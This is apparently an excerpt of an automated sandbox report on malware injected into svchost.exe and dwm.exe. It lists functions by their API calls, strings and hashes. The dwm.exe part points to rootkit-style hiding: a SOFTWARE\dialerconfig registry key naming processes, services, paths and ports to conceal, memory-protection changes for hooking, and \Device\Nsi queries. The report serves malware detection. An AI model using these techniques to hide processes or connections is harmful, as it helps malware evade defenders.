Function 00000195DD5C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000195DD5C798C
GetCurrentThreadId.KERNEL32 ref: 00000195DD5C799A
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C79A6
QueryPerformanceCounter.KERNEL32 ref: 00000195DD5C79B6

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: ef2a4aaacd16aa62e41bbfaf996d134d739e1b6477f4088ce6822e44ce878a86
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 32113C36710F058AEB10DFA0E8643E833E4F719759F440E21DA6D96BA4DF78C1998380

Function 00000195DD5C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2620
StrCpyW.SHLWAPI ref: 00000195DD5C2639

Strings

\\.\pipe\, xrefs: 00000195DD5C262B

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction ID: 4b390bd35bc8d7488896d564d2b09490878af5546f8c74a14ac6cebee34a4a91
Opcode Fuzzy Hash: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction Fuzzy Hash: 9371B436301F8986E726DFAD98A47EA77D6F389B84F480026DD09A3F89DE39C545C700

Function 00000195DD599E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000195DD599EB7

Strings

RCC, xrefs: 00000195DD599E85
MOC, xrefs: 00000195DD599E7C

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 963f06e7ef80a2670a9323d7792bb0635a5f70e1dcd725eb12c0e0c54d3360cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F4614636A00B84CAEB22DFA5D4903DD7BE2F349B88F045215EF4927B99DB38D595CB40

Function 00000195DD5C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2416
StrCpyW.SHLWAPI ref: 00000195DD5C242D

Strings

\\.\pipe\, xrefs: 00000195DD5C2421

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction ID: 6ad79f3c6496f576d1a9b3784531bf2f01e420446c3f4c2c03693f52336387d6
Opcode Fuzzy Hash: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction Fuzzy Hash: CB511632206B8982F736DBAEA0B87EA77D3F386740F480125DD49A3F49DA39C505C740

Function 00000195DD5D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000195DD5D2807
GetLastError.KERNEL32 ref: 00000195DD5D2829

Strings

U, xrefs: 00000195DD5D27B3

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: bf4803890842cdcd72fcab1033f968f229dce80172f82f9c58987f86f410db74
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 3741AF32715B8482EB219FA5E8547EAA7E2F798794F504021EE4D97B98EF3CC441CB50

Function 00000195DD5C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000195DD5C94F0
RaiseException.KERNEL32 ref: 00000195DD5C9531

Strings

csm, xrefs: 00000195DD5C951E

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: d9ae04a037fab9593d23b185716cfc6ae1853ea009b9f3fd067145c53b8789b8
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 63116A36205F8482EB228F19F450399B7E2FB88B95F584221EE8C57B68DF3CC552CB00

Function 00000195DD597356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD59737C

Strings

ierarchy Descriptor', xrefs: 00000195DD597381
riptor at (, xrefs: 00000195DD597364

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 9d65062051ba8b6632479c62e9aac4e80b8205db58c6d08c9f87c8cd4192a069
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E9E08671640F44D4DF028F61E8502D833E1DB58B64F889122995C1A311FA3CD1E9C301

Function 00000195DD5973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD5973D8

Strings

riptor at (, xrefs: 00000195DD5973C0
Locator', xrefs: 00000195DD5973DD

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 73069449200712f0ed9716194b398ac1fb7d2be99278163e9f3c6fe5041c0d1b
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 23E08671600F44D4DF028F61E4501D873E1E758B54F889122D94C1A311EA3CD1E5C300

Function 00000195DD5C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1C2D
HeapAlloc.KERNEL32 ref: 00000195DD5C1C3B
GetProcessHeap.KERNEL32 ref: 00000195DD5C1C77
HeapFree.KERNEL32 ref: 00000195DD5C1C85

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: c6ff0b059641438406dd073903249133c4bef50443ea073ae8eca436ca04cd8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 96115135612F4881EB56DBEAE4146A977E2FB89FC0F184024DE4DA7B65DF38C452D340

Function 00000195DD5C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
HeapAlloc.KERNEL32 ref: 00000195DD5C127D
GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 2cb59b5cb5821d9a8e55ce1da8b0343498eb188679990e79d0fc3b99dd601316
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 63E09235601A0886EB058FE2D82838A36E2FB8DF06F04C024C90907751DF7D84DAC760

Analysis Process: dwm.exePID: 992, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.6%
Signature Coverage:	0%
Total number of Nodes:	135
Total number of Limit Nodes:	16

Executed Functions

Function 000001160CBE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001160CBE1633
HeapAlloc.KERNEL32 ref: 000001160CBE1642

Part of subcall function 000001160CBE1268: GetProcessHeap.KERNEL32 ref: 000001160CBE126E
Part of subcall function 000001160CBE1268: HeapAlloc.KERNEL32 ref: 000001160CBE127D
Part of subcall function 000001160CBE1268: GetProcessHeap.KERNEL32 ref: 000001160CBE1297
Part of subcall function 000001160CBE1268: HeapAlloc.KERNEL32 ref: 000001160CBE12A8

RegOpenKeyExW.ADVAPI32 ref: 000001160CBE16B2
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE16DF
RegCloseKey.ADVAPI32 ref: 000001160CBE16F9
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1719
RegCloseKey.ADVAPI32 ref: 000001160CBE1734
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1754
RegCloseKey.ADVAPI32 ref: 000001160CBE176F
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE178F
RegCloseKey.ADVAPI32 ref: 000001160CBE17AA
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE17CA
RegCloseKey.ADVAPI32 ref: 000001160CBE17E5
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1805
RegCloseKey.ADVAPI32 ref: 000001160CBE1820
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1840
RegCloseKey.ADVAPI32 ref: 000001160CBE185B
RegOpenKeyExW.ADVAPI32 ref: 000001160CBE187B
RegCloseKey.ADVAPI32 ref: 000001160CBE1896
RegCloseKey.ADVAPI32 ref: 000001160CBE18A0

Part of subcall function 000001160CBE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001160CBE1319
Part of subcall function 000001160CBE12BC: GetProcessHeap.KERNEL32 ref: 000001160CBE1327
Part of subcall function 000001160CBE12BC: HeapAlloc.KERNEL32 ref: 000001160CBE1338
Part of subcall function 000001160CBE12BC: RegEnumValueW.ADVAPI32 ref: 000001160CBE1397
Part of subcall function 000001160CBE12BC: GetProcessHeap.KERNEL32 ref: 000001160CBE13DF
Part of subcall function 000001160CBE12BC: HeapAlloc.KERNEL32 ref: 000001160CBE13ED
Part of subcall function 000001160CBE12BC: GetProcessHeap.KERNEL32 ref: 000001160CBE140A
Part of subcall function 000001160CBE12BC: HeapFree.KERNEL32 ref: 000001160CBE1418
Part of subcall function 000001160CBE12BC: lstrlenW.KERNEL32 ref: 000001160CBE1421
Part of subcall function 000001160CBE12BC: GetProcessHeap.KERNEL32 ref: 000001160CBE142F
Part of subcall function 000001160CBE12BC: HeapAlloc.KERNEL32 ref: 000001160CBE143D

Strings

process_names, xrefs: 000001160CBE174D
paths, xrefs: 000001160CBE1788
udp, xrefs: 000001160CBE1874
SOFTWARE\dialerconfig, xrefs: 000001160CBE1692
service_names, xrefs: 000001160CBE17C3
tcp_local, xrefs: 000001160CBE17FE
startup, xrefs: 000001160CBE16D5
tcp_remote, xrefs: 000001160CBE1839
pid, xrefs: 000001160CBE1712

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 2969c2283baf436b52471c0dd72c5a34752808bbaf6e92cb8698fb307b17855c
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: CA71F67A610F1089EB149F79E8906DD2368F788F88F501191AE4E57B6EEF36C445E340

Function 000001160CBE3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CBE379E
GetCurrentProcess.KERNEL32 ref: 000001160CBE37CC
VirtualProtectEx.KERNEL32 ref: 000001160CBE37EE
GetCurrentProcess.KERNEL32 ref: 000001160CBE3809
VirtualProtectEx.KERNEL32 ref: 000001160CBE382A

Strings

wr, xrefs: 000001160CBE37FF

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 532fa79624950b1881f1283b20fa38b53297972ce140c533428026739ab091ad
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: BD112A3A704B4186EB189B25E4046E963B4F748B86F5401A9EF8907768EF2EC545D704

Function 000001160CBE5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CBE5B6B
GetThreadContext.KERNEL32 ref: 000001160CBE5CD5

Part of subcall function 000001160CBE5960: GetCurrentThreadId.KERNEL32 ref: 000001160CBE5964

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: 2c08d144f7439132435d16453bda7c7501d22123e30e0c45c2987ea6ccbbd8ff
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: F2D18876208F8881DA749B1AE4943DAB7A0F78CF88F140196EB8D47BA9DF3DC545DB40

Function 000001160CBE50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CBE5156

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: f1417c386a04ed11b26314ad22a1bed10d830863f456b4636a77e565cc498eca
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: DC02BA72219B8486EB64CB55E49039AB7A0F3C8B94F104195FB8E87BADDF7DC484DB00

Function 000001160CBE39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001160CBE3A66
VirtualAlloc.KERNEL32 ref: 000001160CBE3AA0

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 76c4d106e3fedf68f3b540c6929bc792785fe06e2531eb5b009f972fab3b7692
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 3E31F032219F9481EA789A15E0553DE66E0F38CB84F5015A5F7CE47BACEF7EC580AB04

Function 000001160CBE328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001160CBE32AE
PathFindFileNameW.SHLWAPI ref: 000001160CBE32BD

Part of subcall function 000001160CBE3844: StrCmpNIW.SHLWAPI ref: 000001160CBE385C

Part of subcall function 000001160CBE3790: GetModuleHandleW.KERNEL32 ref: 000001160CBE379E
Part of subcall function 000001160CBE3790: GetCurrentProcess.KERNEL32 ref: 000001160CBE37CC
Part of subcall function 000001160CBE3790: VirtualProtectEx.KERNEL32 ref: 000001160CBE37EE
Part of subcall function 000001160CBE3790: GetCurrentProcess.KERNEL32 ref: 000001160CBE3809
Part of subcall function 000001160CBE3790: VirtualProtectEx.KERNEL32 ref: 000001160CBE382A

CreateThread.KERNEL32 ref: 000001160CBE330B

Part of subcall function 000001160CBE1D14: GetCurrentThread.KERNEL32 ref: 000001160CBE1D1F

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 2ac1fde5ceca8f5e5ba180acfd043857f4f33f0c7581980f357d40f5372f6f43
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 0B118471A14F4086FB6C9721F849BEA22D4AB5CB45F6041E4BB06836BDFF7BC444E600

Function 000001160CBE4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001160CBE4DF4
VirtualProtect.KERNEL32 ref: 000001160CBE4E37
FlushInstructionCache.KERNEL32 ref: 000001160CBE4E4C

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 257107c6a131fa6ae524c71ac86d974b387ea6ef410a9d0da3cecff434d44bdf
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: A8F0A476218F0480D6289B45E4517DAABA0E38CBD4F145195FA8D47B6DDF3AC6909B40

Function 000001160CBB273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001160CBB27DB
LoadLibraryA.KERNELBASE ref: 000001160CBB285E

Memory Dump Source

Source File: 00000029.00000002.3337600267.000001160CBB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CBB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbb0000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 3902f09aa2da9d38923e8f1cf7cc37bf8468d54b6c15079d0d07c7b5da615e92
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7661E132B01B9087EB588F1594807EDB3A2FB58BA4F588135EF9D07788DB79D852E701

Function 000001160CBE1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001160CBE1628: GetProcessHeap.KERNEL32 ref: 000001160CBE1633
Part of subcall function 000001160CBE1628: HeapAlloc.KERNEL32 ref: 000001160CBE1642
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE16B2
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE16DF
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE16F9
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1719
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE1734
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1754
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE176F
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE178F
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE17AA
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE17CA

Sleep.KERNEL32 ref: 000001160CBE1AD7
SleepEx.KERNELBASE ref: 000001160CBE1ADD

Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE17E5
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1805
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE1820
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE1840
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE185B
Part of subcall function 000001160CBE1628: RegOpenKeyExW.ADVAPI32 ref: 000001160CBE187B
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE1896
Part of subcall function 000001160CBE1628: RegCloseKey.ADVAPI32 ref: 000001160CBE18A0

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4d05f47bd48a93094164b4b7e942f50d2a5613aedc5ce409dc6bb53def4e775c
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: B131BA71601F4141FB58AB7ADA412ED23A5AB4CFC4F2454E1AF098B6AFFF36C851E210

Non-executed Functions

Function 000001160CBE2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001160CBE2BD0
lstrlenW.KERNEL32 ref: 000001160CBE2E0A

Part of subcall function 000001160CBE199C: OpenProcess.KERNEL32 ref: 000001160CBE19C2
Part of subcall function 000001160CBE199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001160CBE19E0
Part of subcall function 000001160CBE199C: PathFindFileNameW.SHLWAPI ref: 000001160CBE19EF
Part of subcall function 000001160CBE199C: lstrlenW.KERNEL32 ref: 000001160CBE19FB
Part of subcall function 000001160CBE199C: StrCpyW.SHLWAPI ref: 000001160CBE1A0E
Part of subcall function 000001160CBE199C: CloseHandle.KERNEL32 ref: 000001160CBE1A1C

GetProcAddress.KERNEL32 ref: 000001160CBE2BE5

Part of subcall function 000001160CBE152C: StrCmpIW.SHLWAPI ref: 000001160CBE155D

Part of subcall function 000001160CBE3844: StrCmpNIW.SHLWAPI ref: 000001160CBE385C

StrCmpNIW.SHLWAPI ref: 000001160CBE2C28
lstrlenW.KERNEL32 ref: 000001160CBE2D50

Strings

NtQueryObject, xrefs: 000001160CBE2BDB
\Device\Nsi, xrefs: 000001160CBE2C1B
ntdll.dll, xrefs: 000001160CBE2BC9

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160cbe0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: c707166a0a917046ebf7e864e7a4e84195229765a0eaebd405d71a458f135471
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: BDB15976210F6086EB6C8F25D4407E963A9F748F84F549096FF0953B98EB76CC40E341

Function 000001160CBE7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001160CBE7DAC
RtlCaptureContext.NTDLL ref: 000001160CBE7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001160CBE7DF3
RtlVirtualUnwind.NTDLL ref: 000001160CBE7E34
IsDebuggerPresent.KERNEL32 ref: 000001160CBE7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CBE7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001160CBE7EB4

Memory Dump Source

Source File: 00000029.00000002.3337666071.000001160CBE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CBE0000, based on PE: true

